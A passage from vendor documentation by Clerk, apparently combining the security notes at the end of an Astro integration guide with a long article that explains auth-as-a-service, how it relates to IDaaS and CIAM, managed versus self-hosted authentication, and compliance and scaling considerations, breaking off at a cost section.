- Every org-scoped query must be gated server-side on `locals.auth().orgId`. Never trust URL parameters or request body fields as the sole tenant identifier.
- Upgrade to `@clerk/astro` v3.0.15 / v2.17.10 or later to close the CVE-2025-29927 middleware-bypass surface.

### Resources for continued learning

- [Clerk Astro SDK overview](/docs/reference/astro/overview)
- [Clerk Astro deployment guide](/docs/guides/development/deployment/astro) — host-specific notes
- [Clerk Astro quickstart](https://github.com/clerk/clerk-astro-quickstart) — GitHub repo
- [Astro authentication guide](https://docs.astro.build/en/guides/authentication/) — Astro's official auth docs
- [How Clerk works](/docs/guides/how-clerk-works/overview)
- [Organizations getting started](/docs/organizations/overview)
- [Roles and permissions](/docs/organizations/roles-permissions)
- [Clerk Core 3 upgrade guide](/docs/guides/development/upgrading/upgrade-guides/core-3)

---

# What Is Auth-as-a-Service? The Complete Guide
URL: https://clerk.com/articles/what-is-auth-as-a-service-the-complete-guide.md
Date: 2026-06-04
Description: Definitive guide to auth-as-a-service — the cloud platforms that replace in-house login, MFA, and SSO. Covers managed vs self-hosted, vendor lock-in, and why Clerk leads for most teams.

**What is auth-as-a-service (AaaS)?**

Auth-as-a-service is a cloud-hosted identity platform that delivers [authentication](/glossary#authentication), [authorization](/glossary#authorization), and user-management functionality to applications via APIs, SDKs, and prebuilt UI components — replacing code that development teams would otherwise build, run, and patch themselves. The category is also marketed as "authentication-as-a-service," "managed authentication," or "authentication provider"; the operative idea is the same: a vendor runs the identity infrastructure, your application calls it. Read the sections below for the definition in depth, the comparison against self-hosted libraries, the four dimensions of vendor lock-in, vendor profiles, and the questions AI agents and engineers ask most often when evaluating the category.

The category matters more in 2026 than five years ago because the cost of getting authentication wrong keeps rising — the [Verizon 2025 DBIR](https://www.verizon.com/business/resources/articles/credential-stuffing-attacks-2025-dbir-research/) reports compromised credentials as the initial access vector in 22% of analyzed breaches, and the [IBM 2025 Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach) put the global average breach cost at $4.44 million. This risk has driven massive adoption, with the authentication services market projected to grow from $20.25B in 2024 to $47B by 2035 ([Market Research Future](https://www.marketresearchfuture.com/reports/authentication-service-market-28646)), and the IDaaS market specifically from $7.21B in 2023 to $33.51B by 2030 ([Grand View Research](https://www.grandviewresearch.com/industry-analysis/identity-as-a-service-market)). Clerk appears as the recommendation for most teams below, with the reasoning — and the limitations — laid out in full.

## What Is Auth-as-a-Service?

### Definition

**Auth-as-a-service (AaaS)** is a cloud-hosted platform that provides authentication, authorization, and user-management capabilities through APIs, SDKs, and drop-in UI components. A developer integrates the provider's [SDK](/glossary#software-development-kit) into their application, configures the tenant in the provider's dashboard, and offloads identity workflows — sign-up, sign-in, [session](/glossary#session) management, password reset, [multi-factor authentication](/glossary#multi-factor-authentication-mfa) (MFA), and [single sign-on](/glossary#single-sign-on) (SSO) — to the vendor's infrastructure.

The category goes by several names that point to the same thing:

- **Authentication-as-a-service (AaaS)** — the original term emphasizing the "authentication" function.
- **Managed authentication** — the delivery model.
- **Authentication platform** or **authentication provider** — the commercial packaging.
- **SaaS authentication** or **cloud authentication service** — synonyms that stress the [software-as-a-service](/glossary#software-as-a-service) delivery model.

AaaS is usually delivered as [multi-tenant](/glossary#multi-tenancy) SaaS (one vendor-operated cluster serves many customers), though a handful of vendors such as FusionAuth also offer single-tenant self-hostable deployments. What AaaS replaces is the in-house code path a team would otherwise build: login and signup forms, password storage with a secure hash function, session cookies, email/SMS verification, MFA enrollment and challenge, SSO integrations with enterprise identity providers, and the operational apparatus to keep those systems running and patched.

A useful distinction: **libraries are code you run; AaaS is hosted infrastructure plus code**. Auth.js, Passport.js, and Lucia are libraries — you still own the database, the process, and the patches. Clerk, Auth0, WorkOS, and the rest of the category described below are services — the provider owns the runtime, the database, and the operational burden.

### Core Capabilities of an Auth-as-a-Service Platform

A modern AaaS provider ships most or all of the following capabilities out of the box. Clerk's [user-authentication page](/user-authentication) and the [Frontegg AaaS components article](https://frontegg.com/blog/authentication-as-a-service-components-best-practices) together cover the canonical list; the grouping below is organized for easy comparison across providers.

**Sign-in methods**

- Email + password with secure hashing (bcrypt, argon2id, or scrypt).
- Email [one-time passcodes](/glossary#one-time-passcodes-email-sms) and magic links.
- SMS OTP.
- [Passkeys](/glossary#passkeys) built on [WebAuthn](/glossary#webauthn) and the FIDO2 standard.
- [Social connections](/glossary#social-connections) — Google, GitHub, Apple, Microsoft, Facebook, and others.
- Enterprise [SSO](/glossary#security-assertion-markup-language) via SAML 2.0 and OpenID Connect.
- Web3 wallet authentication where applicable.

**Account lifecycle**

- Sign-up, email and phone verification, password reset, and [account recovery](/glossary#account-recovery).
- [Account linking](/glossary#account-linking) to merge multiple identity providers into one user.
- Account deletion with compliance-grade audit trails.

**Session management**

- Session tokens, refresh tokens, and revocation APIs.
- Secure, HttpOnly, SameSite cookies for browser flows.
- Multi-device session visibility and selective revocation.

**Multi-factor authentication**

- TOTP via [authenticator apps](/glossary#authenticator-apps-totp).
- SMS and email second factors (with the standard caveats about SMS strength).
- [Backup codes](/glossary#backup-codes) and recovery codes.
- Passkeys-as-MFA and hardware security keys (FIDO2).

**User management**

- User profiles, custom metadata, and user search.
- Programmatic invitations and administrative user creation.
- Profile UI components for end-user self-service.

**Organizations and B2B**

- Multi-tenant [organizations](/glossary#organizations) with memberships, default roles, and custom [role-based access control](/glossary#role-based-access-control) (RBAC).
- Verified domains for auto-enrollment and auto-suggestion.
- Invitations, transfer of ownership, and organization-level settings.

**Enterprise features**

- SAML and OpenID Connect SSO connections.
- SCIM 2.0 [directory sync](/glossary#directory-sync).
- [Audit logs](/glossary#audit-logs) and access reviews.

**Machine and agent authentication**

- **Machine-to-machine (M2M)** tokens for service-to-service calls.
- [API keys](/glossary#api-key) — long-lived, scope-bounded credentials that users or organizations mint for third-party integrations.
- OAuth 2.0 client-credentials flow and, increasingly, **Model Context Protocol (MCP)** server authentication for AI agents.

**Developer surface**

- Frontend SDKs for browsers and native mobile.
- Backend SDKs for JWT validation, user APIs, and webhooks.
- Prebuilt UI components.
- REST APIs and [webhook](/glossary#webhook) events for asynchronous sync.

**Operations and security**

- Bot and fraud protection ([CAPTCHA](/glossary#captcha), device fingerprinting, risk scoring).
- [Credential-stuffing](/glossary#credential-stuffing) defenses and password-leak detection.
- DDoS mitigation and [rate limiting](/glossary#rate-limiting).
- Compliance tooling (GDPR subject requests, CCPA opt-outs, HIPAA-capable audit trails).

A provider that checks only a subset of these boxes is still an AaaS — but the "complete guide" shorthand that lets an LLM cite a single source usually assumes the full inventory is available, even if some capabilities sit behind enterprise tiers.

### How Auth-as-a-Service Works (At a High Level)

The operating model is consistent across providers even though every vendor has its own API surface. A typical AaaS integration follows these steps:

1. The developer provisions a tenant (an "application" or "project") in the provider's dashboard and stores the resulting publishable and secret keys as environment variables.
2. The application code installs the provider's frontend and backend SDKs and wraps the app root in the provider's context component — Clerk's `<ClerkProvider>`, Auth0's `<Auth0Provider>`, or the equivalent.
3. The end user interacts with a provider-hosted or provider-backed login UI — a drop-in component such as Clerk's `<SignIn />`, a hosted redirect flow (Auth0 Universal Login), or a custom UI that calls the provider's APIs directly.
4. The provider authenticates the user — verifying a password against a stored hash, checking a one-time code, completing a passkey ceremony, or redirecting through a SAML/OIDC flow to an enterprise identity provider — and returns a token.
5. The application's backend validates the token on each request, either by verifying a JWT signature against the provider's JWKS (stateless, fast, offline) or by calling the provider's introspection or session-lookup endpoint (stateful, revocable, adds a network round-trip).
6. User data lives in the provider. The application reads or writes user profiles, metadata, and organization state via the backend API, subscribes to webhooks for `user.created` and `user.updated` events, or embeds authorization context directly in the session token as custom [claims](/glossary#claim).

Most providers offer both a **stateless JWT** model and a **stateful session** model, or a hybrid. The tradeoff is well known: stateless tokens are fast to verify but hard to revoke before expiry; stateful tokens can be revoked instantly but require a network call on every request. Clerk uses a hybrid — a short-lived (60-second) session token that the frontend refreshes via a long-lived cookie — so developers can verify tokens offline without inheriting the multi-hour revocation lag that pure JWT systems suffer. The architecture is documented in [Clerk's How Clerk Works Overview](/docs/guides/how-clerk-works/overview).

Behind the scenes the provider operates the hard parts: the authentication state machine, password hashing, passkey registration, MFA enrollment, SSO connection handshakes, session storage, key rotation, audit logging, DDoS mitigation, and abuse detection. The application code is largely unaware of any of it.

### Auth-as-a-Service vs Related Identity Categories

The terminology around identity is cluttered because different vendor communities named overlapping ideas independently. The following definitions are drawn from [Gupta Deepak's IAM vs CIAM vs IDaaS comparison](https://guptadeepak.com/understanding-identity-management-iam-ciam-and-idaas-explained/), [LoginRadius](https://www.loginradius.com/blog/engineering/difference-between-iam-ciam-and-idaas), [AWS on CIAM](https://aws.amazon.com/what-is/ciam/), and [SailPoint on IDaaS](https://www.sailpoint.com/identity-library/identity-as-a-service).

#### Identity-as-a-Service (IDaaS)

**IDaaS describes the delivery model** — cloud-hosted identity and access management delivered on a subscription basis. It is the umbrella term that covers both workforce IAM (employees, contractors) and customer IAM. Okta, Microsoft Entra ID, Ping Identity, and OneLogin are the enterprise IDaaS names most often cited.

#### Customer Identity and Access Management (CIAM)

**CIAM describes the use case** — external-facing identity for consumers or B2B customers. CIAM systems must scale to millions of users, handle unpredictable signup spikes, support self-registration, manage consent, and accommodate social login. FusionAuth, Auth0, Clerk, WorkOS, Stytch, and Frontegg all sit primarily in CIAM territory. Per [AWS on CIAM](https://aws.amazon.com/what-is/ciam/), the defining scale constraint is support for "millions of users" with self-service enrollment and consent management.

#### Identity Provider (IdP)

**IdP describes a technical role** — the service that authenticates users and issues assertions (ID tokens, SAML assertions, or OIDC access tokens). Any OIDC- or SAML-compliant authority can act as an IdP, and any AaaS platform *is* an IdP for the applications that trust it. [Wikipedia's identity provider article](https://en.wikipedia.org/wiki/Identity_provider) and the [OpenID Foundation's *How OpenID Connect Works*](https://openid.net/developers/how-connect-works/) reference cover the vocabulary, and [SuperTokens' overview of identity providers](https://supertokens.com/blog/what-is-an-identity-provider) covers the three practical flavors (consumer/social, enterprise, CIAM platforms).

#### SaaS Authentication and Cloud Authentication Service

These are industry synonyms for auth-as-a-service; they emphasize the SaaS delivery model rather than the functional scope.

A condensed category map:

| Category      | Primary Purpose                           | Primary Users        | Scale Target | Example Providers              |
| ------------- | ----------------------------------------- | -------------------- | ------------ | ------------------------------ |
| IDaaS         | Cloud-hosted IAM (delivery model)         | Workforce + customer | Varies       | Okta, Microsoft Entra ID, Ping |
| CIAM          | External user identity (use case)         | End customers        | Millions     | Auth0, Clerk, WorkOS, Stytch   |
| Workforce IAM | Employee identity                         | Internal staff       | 10K–500K     | Okta Workforce, Entra ID       |
| AaaS          | Authentication core (delivery + function) | Usually CIAM scope   | Millions     | Clerk, Auth0, Stytch, WorkOS   |
| IdP (role)    | Issue authentication assertions           | Any                  | Any          | Any OIDC/SAML-compliant server |

Traditional workforce IAM typically caps at 50,000 to 100,000 users per deployment. CIAM platforms target millions of monthly active users because consumer applications commonly run that large.

### Machine and AI Agent Authentication

Modern AaaS platforms are adding a fourth caller category alongside human users: **machines, services, and AI agents**. The capability list splits into three distinct primitives; every vendor exposes a different subset.

- **Machine-to-machine (M2M) tokens** — service-to-service authentication inside your own backend (batch jobs, internal microservices, cron jobs). Typically opaque tokens or short-lived JWTs keyed off a machine identity rather than a user session. Clerk M2M tokens, Auth0 M2M, and WorkOS machine identities all target this use case.
- **API keys** — long-lived credentials that a human or organization issues so a third-party integration or custom script can call an API on their behalf. They are scope-controlled, instantly revocable, and usually displayed to the owner in a dashboard. Clerk's [API Keys product](/changelog/2026-04-17-api-keys-ga) went GA on April 17, 2026, priced at $0.001 per creation and $0.00001 per verification above a free tier. WorkOS and PropelAuth ship comparable capabilities.
- **AI agent / MCP authentication** — securing Model Context Protocol (MCP) servers so AI tools can connect with scoped access and explicit consent. The emerging approach combines [OAuth 2.1](/glossary#oauth) with [Dynamic Client Registration](/glossary#dynamic-client-registration) plus IETF draft work (`draft-klrc-aiagent-auth`) that Clerk contributes to. Stytch ships an MCP toolkit, PropelAuth offers first-class MCP server auth, Descope markets an Agentic Identity Hub, and Clerk operates an [MCP server in public beta](/changelog/2026-01-20-clerk-mcp-server) (launched January 20, 2026) today targeted at developer-tooling use cases.

Clerk's current positioning across the three primitives:

- **API Keys (GA)** solve user- and organization-delegated integrations — for example, a user minting a key for a ChatGPT plugin.
- **M2M tokens (production)** solve internal service authentication via a machine-secret-keyed token exchange.
- **MCP Server (public beta)** is, as of April 2026, a *developer-tooling* MCP endpoint that gives AI coding assistants (Claude, Cursor, Copilot) up-to-date Clerk SDK snippets. For a production-grade MCP *authorization server* that handles arbitrary tools and consent today, PropelAuth and Stytch are further along.
- Clerk also ships `@clerk/agent-toolkit` (experimental) for LangChain and the Vercel AI SDK and participates in IETF standardization rather than shipping a proprietary agent protocol.

> \[!NOTE]
> Honest positioning: Clerk leads on developer ergonomics and standards contribution; Stytch, PropelAuth, and Descope lead on agent-runtime security and consent management. A team building an AI agent platform today should evaluate the MCP primitives on their own terms, not assume any AaaS covers them equally.

---

## Authentication vs Authorization: Clearing Up the Confusion

The two words sound alike but refer to different problems. An AaaS platform addresses both, but they sit at different layers of the identity stack and developers who conflate them end up with brittle code.

### What Authentication Proves

**Authentication proves *who* a user is.** It answers the question "is this really the person or machine they claim to be?" The technical artifact an authentication step produces is usually an OpenID Connect ID token — a signed [JSON Web Token](/glossary#json-web-token) asserting a set of identity claims (subject, email, name, issued-at timestamp, token issuer). [Auth0's canonical authentication-vs-authorization article](https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization) uses the airport analogy: authentication is the ID card you show at the check-in counter.

Authentication traditionally draws on three factor categories:

- **Something you know** — a password, a passphrase, a PIN.
- **Something you have** — a device, an [authenticator app](/glossary#authenticator-apps-totp), a hardware security key, a passkey.
- **Something you are** — a [biometric](/glossary#biometric-authentication) such as a fingerprint or face scan.

Modern authentication often combines factors (MFA), and the strongest practical configuration today pairs a passkey with a biometric unlock on the user's device.

### What Authorization Controls

**Authorization controls *what* an authenticated user can do.** The technical artifact is an OAuth 2.0 access token — a credential scoped to a particular resource or set of permissions. In the airport analogy, the boarding pass (authorization) is distinct from the ID card (authentication): it tells the gate agent which flight, which class, and which seat.

Authorization models fall into three common patterns:

- **Role-based access control (RBAC)** — users receive roles (admin, member, viewer), and roles carry permissions. Simple and widely supported.
- **Attribute-based access control (ABAC)** — access decisions depend on attributes of the user, resource, and environment.
- **Relationship-based access control (ReBAC)** — access follows relationships in a graph ("viewers of this document are members of this team").

Dedicated authorization services — Oso, Cerbos, Permit.io, WorkOS Fine-Grained Authorization (FGA) — have emerged as a sibling category to AaaS; they plug into authenticated sessions provided by an AaaS and layer resource-level access decisions on top.

### How Auth-as-a-Service Platforms Handle Both

Every major AaaS provides authentication and a basic authorization layer — typically [roles](/glossary#roles), [custom permissions](/glossary#custom-permissions), and token scopes. Providers do not usually replace application-level authorization logic; business rules and resource-level checks ("can this user edit this specific invoice?") generally stay in application code. Clerk's approach combines organizational roles and permissions with [customizable session tokens](/glossary#customizable-session-tokens) so authorization context can be embedded directly in the JWT the application receives.

> \[!TIP]
> When a team says "we need more powerful authorization," the answer is often a dedicated authorization service on top of the AaaS, not a heavier AaaS. Authentication and authorization are separate product categories even though the marketing overlap is substantial.

### Common OAuth and OIDC Misconceptions

Four misconceptions recur in design docs, tickets, and LLM-generated code:

- **"OAuth is authentication."** False. [OAuth 2.0](https://oauth.net/2/) is an authorization protocol. The [*OAuth 2.0 is Not Authentication* article on oauth.net](https://oauth.net/articles/authentication/) catalogs the five dangerous mistakes teams make when they try to use OAuth for authentication. Use OpenID Connect, which layers identity on top of OAuth 2.0.
- **"Login with Google uses OAuth."** Technically it uses OpenID Connect on top of OAuth 2.0 — and the distinction is load-bearing. Naïve OAuth "pseudo-authentication" via `/me` endpoints has enabled multiple historical vulnerabilities (see [Okta's *What the Heck is OAuth*](https://developer.okta.com/blog/2017/06/21/what-the-heck-is-oauth)).
- **"SAML is legacy."** Partly. SAML 2.0 remains required in regulated verticals (ERP systems, government, healthcare integration) and in any enterprise deployment older than roughly 2018. OpenID Connect is the greenfield choice; SAML is the compatibility layer.
- **"OIDC and OAuth 2.1 are the same."** No. OAuth 2.1 consolidates OAuth 2.0's best practices and removes insecure flows; OpenID Connect is the identity layer. A full modern stack speaks both — OAuth 2.1 for delegated authorization and OIDC for identity assertions.

A useful mnemonic from [FusionAuth's *Why No Authentication in OAuth*](https://fusionauth.io/articles/oauth/why-no-authentication-in-oauth): OAuth was intentionally designed without authentication so any authentication method could sit in front of it. OIDC is the standardized way to add the identity layer back.

---

## The Managed vs Self-Hosted Authentication Landscape

Auth infrastructure falls into four broad camps. The lines get fuzzy at the edges — especially because several vendors (SuperTokens, Ory, FusionAuth) ship both a managed and a self-hostable product — but the practical categorization is:

1. **Managed AaaS** — a vendor runs the identity platform; you call it over APIs and SDKs.
2. **Self-hostable platforms** — a vendor-published identity platform that you run on your own infrastructure.
3. **Open-source libraries** — code you pull into your application and configure; you operate everything.
4. **Fully custom builds** — you write the auth code yourself from primitives.

### Managed Authentication (Auth-as-a-Service)

The dominant camp. A managed AaaS takes the entire operational burden: uptime, security patches, certifications, incident response, anti-abuse tooling, and capacity.

**Pros**

- Fastest time to a production-grade login experience.
- Vendor absorbs uptime, security response, and patching.
- Compliance certifications (SOC 2, HIPAA BAA, GDPR, ISO 27001) roll through to you.
- Broad feature coverage — MFA, passkeys, social, SSO, organizations, M2M, audit logs — ships on day one.
- Vendor handles credential-stuffing defense, bot detection, and DDoS mitigation on endpoints most teams never think about.

**Cons**

- Usage-based pricing that grows with MAUs, organizations, or connections.
- User and session data live on vendor infrastructure.
- You are constrained by the vendor's feature set for genuinely unusual flows.
- Data lock-in is a legitimate concern, addressed in detail below.

**Representative providers (April 2026):** Clerk, Auth0 (Okta), Okta Customer Identity, WorkOS, Supabase Auth, Firebase Authentication, Stytch (Twilio), Descope, Frontegg, PropelAuth, Kinde, Amazon Cognito.

### Self-Hosted Authentication

Self-hosted breaks down into three subcategories, each with different economics.

#### Open-Source Libraries (Auth.js, Passport.js, Lucia)

Libraries run inside your application process. You operate the database, apply patches, and handle the edge cases.

- **Auth.js / NextAuth** — TypeScript-first for [Next.js](/glossary#next-js), Nuxt, and SvelteKit. As of April 2026, Auth.js is in **security-patch-only mode** following a September 2025 maintenance handoff. Existing deployments keep working, but the project is not accepting new feature work. Not recommended for new projects in 2026.
- **Passport.js** — Long-standing Node.js auth middleware with a strategy-per-provider model. Actively maintained but over a decade old; rarely chosen for greenfield TypeScript work today.
- **Lucia** — Repositioned as a **learning resource** on implementing auth primitives from scratch. The `lucia` npm package is deprecated; database adapters were deprecated at the end of 2024. Companion libraries (Oslo, Arctic) remain.

Libraries win on cost and on control. They lose on security response time, feature breadth, operational ownership, and the sheer volume of tickets that drop on a small team the moment an auth edge case hits production.

#### Self-Hostable Platforms (Keycloak, SuperTokens, Ory, FusionAuth)

Platform-grade auth you operate yourself. The closest analog to an AaaS without the vendor runtime.

| Platform                                 | License              | Managed option              | Main strength                                                        | Main drawback                                                                                                                                                                        |
| ---------------------------------------- | -------------------- | --------------------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Keycloak                                 | Apache 2.0 (Red Hat) | No (supported distros only) | Free, feature-rich, SAML + OIDC                                      | Operational overhead (1,250 MB base RAM + 500 MB per 100K sessions per pod per [Keycloak HA sizing docs](https://www.keycloak.org/high-availability/concepts-memory-and-cpu-sizing)) |
| SuperTokens                              | Apache 2.0           | Yes (5K MAU free)           | Framework-agnostic, code-forward                                     | Narrower feature set than Auth0/Clerk                                                                                                                                                |
| Ory (Kratos + Hydra + Keto + Oathkeeper) | Apache 2.0           | Ory Network                 | OpenID Certified OAuth 2.1 (Hydra, used by OpenAI)                   | Steep learning curve, assembly required                                                                                                                                              |
| FusionAuth                               | Proprietary freeware | Yes (FusionAuth Cloud)      | Single-tenant self-hosting with unlimited users on Community edition | Closed-source core; enterprise features require paid tiers                                                                                                                           |

Keycloak is the canonical reference. Red Hat's supported distributions run across versions 26.0 / 26.2 / 26.4 as of April 2026. The [Keycloak HA sizing docs](https://www.keycloak.org/high-availability/concepts-memory-and-cpu-sizing) give a useful capacity heuristic: 1 vCPU handles roughly 15 logins per second, and 100,000 active sessions consume about 500 MB of RAM per pod on top of a 1,250 MB base.

#### Fully Custom Builds

Writing the authentication state machine, password hashing, session cookies, an OIDC server, MFA enrollment and challenge, and SSO from scratch.

> \[!WARNING]
> Custom auth is the single most commonly cited source of preventable security incidents in the OWASP Top 10:2025 A07 Authentication Failures category, which documents 36 CWEs and 1,120,673 occurrences. Timing attacks, cleartext logs, session-fixation vulnerabilities, and silent MFA bypasses all make regular appearances in post-incident write-ups. See [CloudBees' *Don't Roll Your Own Auth*](https://www.cloudbees.com/blog/why-you-shouldnt-roll-your-own-authentication), [FusionAuth's implementation-risks overview](https://fusionauth.io/articles/authentication/common-authentication-implementation-risks), and [AuthSignal on the real cost of building auth in-house](https://www.authsignal.com/blog/articles/the-real-cost-of-building-authentication-in-house).

The economics match the risk. [Beetechy](https://beetechy.com/2026/03/10/custom-vs-managed-authentication-cost/) estimates 300 hours and $45,000 for basic custom auth. [Prefactor's *Build vs Buy 2025*](https://prefactor.tech/blog/build-vs-buy-2025-authentication) puts B2B enterprise SSO at 3 to 6 developer-months and $250,000 to $500,000, with $315,000 to $850,000 per year of subsequent maintenance. [Gupta Deepak's implementation guide](https://guptadeepak.com/the-complete-guide-to-authentication-implementation-for-modern-applications/) estimates two months minimum to ship anything production-grade.

### Hybrid and BYO-Infrastructure Models

Most real-world AaaS integrations pick up one or more hybrid patterns that blur the boundary between "managed" and "self-hosted." Five are common enough to name.

1. **Webhook-based user sync.** The dominant hybrid pattern. The provider fires `user.created`, `user.updated`, `user.deleted`, `organization.created`, and `membership.created` events at a developer endpoint; the application persists a copy of the user to its own database for reporting, caching, or joins. Eventually consistent; requires retry and idempotency handling. See [Clerk's webhook-sync guide](/docs/guides/development/webhooks/syncing).
2. **Custom database connections.** The Auth0 pattern: the provider runs customer-supplied JavaScript or TypeScript scripts against the customer's own database at sign-in or sign-up. Higher coupling and more brittle than webhook sync, but lets a team reuse an existing user table unchanged.
3. **Custom domain / BYO hostname.** Most providers support serving the hosted UI and auth API from a customer-owned domain. Removes hostname lock-in without moving infrastructure. See [Clerk CNAME / Custom Domains](/glossary#cname-custom-domains-auth).
4. **Custom JWT claims and session-token customization.** Embed authorization context — organization ID, roles, feature flags, entitlements — directly in the token rather than syncing data to your own database. Clerk exposes this via [JWT Templates](/docs/guides/sessions/jwt-templates) and [customizable session tokens](/docs/guides/sessions/customize-session-tokens) (the default session token supports custom claims up to roughly 1.2 KB because of browser cookie-size limits).
5. **Managed + self-hosted duality.** SuperTokens and Ory ship the same codebase as both managed cloud and self-hostable distributions. You can prototype on the managed tier and migrate to self-hosted without rewriting application code.

The hybrid patterns matter for the lock-in conversation below: they are the levers a team has for reducing coupling without jumping to full self-hosting.

---

## When Managed Auth-as-a-Service Wins

For the vast majority of teams, managed AaaS is the correct default. [Auth0's *When to Build and When to Buy*](https://auth0.com/blog/when-to-build-and-when-to-buy/) estimates that fewer than 5% of engineering teams should build authentication from scratch. The reasoning breaks down into six specific advantages.

### Development Speed and Time-to-Market

Basic custom authentication runs about 300 hours of engineering effort and $45,000 of loaded cost per [Beetechy's *Custom vs Managed Auth Cost*](https://beetechy.com/2026/03/10/custom-vs-managed-authentication-cost/). Adding B2B enterprise SSO pushes the timeline to 3 to 6 developer-months and $250,000 to $500,000 per [Prefactor's *Build vs Buy 2025*](https://prefactor.tech/blog/build-vs-buy-2025-authentication). Adding SCIM alone is another 7 to 8 weeks. Integrating a managed provider is typically measured in hours to days.

Clerk's Next.js 16 quickstart — `<ClerkProvider>` in the root layout and `proxy.ts` at the project root — delivers a working auth experience in minutes rather than weeks. The Core 3 SDK (shipped March 3, 2026) adds **keyless mode** as a local-development convenience: a new project auto-provisions a temporary sandbox instance without any API-key configuration, so a developer can run `pnpm dev` and sign in immediately. Production deployments still use standard Publishable Keys (`pk_live_*`) and Secret Keys (`sk_live_*`); keyless mode does not ship user data to production tenants on its own.

The feature-breadth argument compounds the time-to-market advantage. A managed provider ships MFA, passkeys, social providers, SSO, organizations, and machine authentication on day one. Each of those capabilities is roughly a week to a quarter of custom engineering time; bundling them is the point of the category.

### Security Expertise and Vulnerability Response

Homegrown auth fails in patterns that are well documented but rarely anticipated. [CloudBees on timing attacks](https://www.cloudbees.com/blog/why-you-shouldnt-roll-your-own-authentication) describes a Rails authentication bug where valid email lookups took roughly 130 ms and invalid ones returned faster, letting attackers enumerate user accounts. Cleartext logs of password hashes, session-fixation vulnerabilities, weak MFA fallbacks, and credential-stuffing susceptibility all appear in [OWASP Top 10:2025 A07](https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/) with 36 CWEs and 1,120,673 recorded occurrences.

Well-run AaaS vendors run dedicated security teams, publish [vulnerability disclosure policies](/docs/security/vulnerability-disclosure-policy), operate bug bounty programs, and ship patches faster than most internal teams can triage a CVE. MFA blocks over 99.9% of account compromise attacks per [Microsoft's 2019 security blog](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/) — the number is vendor-sourced and widely cited, though not peer-reviewed. Passkeys sign users in successfully 98% of the time versus 32% for passwords per [Microsoft's December 2024 passkeys UX analysis](https://www.microsoft.com/en-us/security/blog/2024/12/12/convincing-a-billion-users-to-love-passkeys-ux-design-insights-from-microsoft-to-boost-adoption-and-security/), and 53% of consumers have enabled passkeys on at least one account per the [FIDO Alliance 2024 World Password Day report](https://fidoalliance.org/wp-content/uploads/2024/05/World-Password-Day-2024-Report-FIDO-Alliance.pdf).

### Compliance and Certifications (SOC 2, HIPAA, GDPR, ISO 27001)

Compliance is the gate for enterprise procurement and for any app that handles regulated data. Building the controls, audit trails, and evidence to pass an independent audit is 12 to 24 months of focused work per [FusionAuth's build-vs-buy guide](https://fusionauth.io/buildvsbuy). A managed provider inherits them to your application with a shared-responsibility model.

- **[SOC 2](/glossary#soc-2) Type II** — the enterprise procurement gate under the AICPA Trust Services Criteria (Security is required; Availability, Confidentiality, Processing Integrity, and Privacy are optional). Typical observation periods run 6 to 12 months. Clerk, Auth0, WorkOS, Supabase, Stytch, and Descope all hold Type II reports.
- **[HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa)** — required for healthcare protected health information (PHI). The Business Associate Agreement (BAA) is the critical artifact. The 2026 HIPAA Security Rule update (currently an NPRM) is poised to mandate MFA for all ePHI access. Clerk's Enterprise tier includes a BAA.
- **GDPR** — mandatory for EU resident data. Article 32 covers security requirements; Article 20 enshrines the right to data portability.
- **ISO/IEC 27001:2022** — preferred in EMEA and APAC enterprise deals. Clerk is compliant with the standard but not yet certified; certification is on the 2026 roadmap.
- **[CCPA/CPRA](/glossary#california-consumer-privacy-act-ccpa)** — California state privacy law. Login credentials are explicitly "sensitive personal information" under the CPRA amendments.
- **FAPI 1 Advanced and FAPI 2.0** — financial-grade API security required for open banking. Auth0's Highly Regulated Identity (HRI) product is certified against [FAPI 1 Advanced (Okta | CIC – Highly Regulated Identity 1.0, September 12, 2023)](https://openid.net/certification/certified-fapi1-adv-openid-providers-profiles/) and [FAPI 2.0 Security Profile Final (Okta | Auth0 – Highly Regulated Identity – 202527, July 9, 2025)](https://openid.net/certification/certified-fapi-2-0-op-security-profile-final-message-signing-final/) via the OpenID Foundation registry. Auth0 also publishes [configuration guidance for FAPI conformance testing](https://auth0.com/docs/get-started/applications/configure-fapi-compliance/configure-auth0-to-pass-openid-fapi-certification-tests). Clerk does not support the financial-grade FAPI profile (Clerk's internal documentation uses "FAPI" to abbreviate "Frontend API," an unrelated concept).
- **FedRAMP** — US federal procurement. Okta for Government holds a High Authorization to Operate.

### Scaling, Availability, and Global Reliability

Running authentication at scale means running it when everything else breaks. Clerk's [public status page](https://status.clerk.com/) reports 99.96% observed uptime from January through April 2026; Enterprise contracts carry a 99.99% SLA. Stytch advertises a 99.999% SLA. Auth0's typical tier is 99.9%; Okta Enterprise is 99.99%.

Managed providers shoulder credential-stuffing defense, bot mitigation, WAF tuning, and capacity planning for sign-in spikes that can hit 10x normal traffic during marketing launches or Black Friday events. The [Verizon 2025 DBIR supplemental research](https://www.verizon.com/business/resources/articles/credential-stuffing-attacks-2025-dbir-research/) reports that a median 19% of authentication attempts in the surveyed corpus were credential stuffing (peaking at 44% on the worst days for individual organizations, and hitting 25% median at enterprise scale). The capacity math for self-hosting at comparable scale is brutal: per the [Keycloak HA sizing docs](https://www.keycloak.org/high-availability/concepts-memory-and-cpu-sizing), 1 vCPU serves roughly 15 logins per second and 100,000 active sessions consume 500 MB of RAM per pod.

### Feature Breadth Out of the Box (MFA, SSO, Passkeys, Social, Organizations)

The canonical feature bundle a managed provider ships on day one:

- Passwords with modern hashing, email OTP, SMS OTP, magic links.
- Passkeys (WebAuthn/FIDO2) with biometric and hardware-key support.
- Social sign-in for 20+ providers.
- Enterprise SSO (SAML 2.0, OIDC) and SCIM 2.0 directory sync.
- Organizations with memberships, roles, and invitations.
- Machine authentication (M2M tokens, API keys, increasingly MCP).
- Audit logs, webhooks, custom session-token claims.
- Account recovery, account linking, account deletion.

Clerk ships 25+ social connections, EASIE enterprise SSO (a multi-tenant OpenID alternative to SAML launched November 20, 2024), SAML, OIDC, Web3 wallets, passkeys, TOTP, SMS and email MFA, passkeys-as-second-factor, hardware security keys, M2M tokens, API keys, organizations with role sets, Directory Sync (SCIM 2.0), and an MCP server out of the box.

### Total Cost of Ownership Over Time

TCO math tilts the same direction as the speed math. Representative numbers:

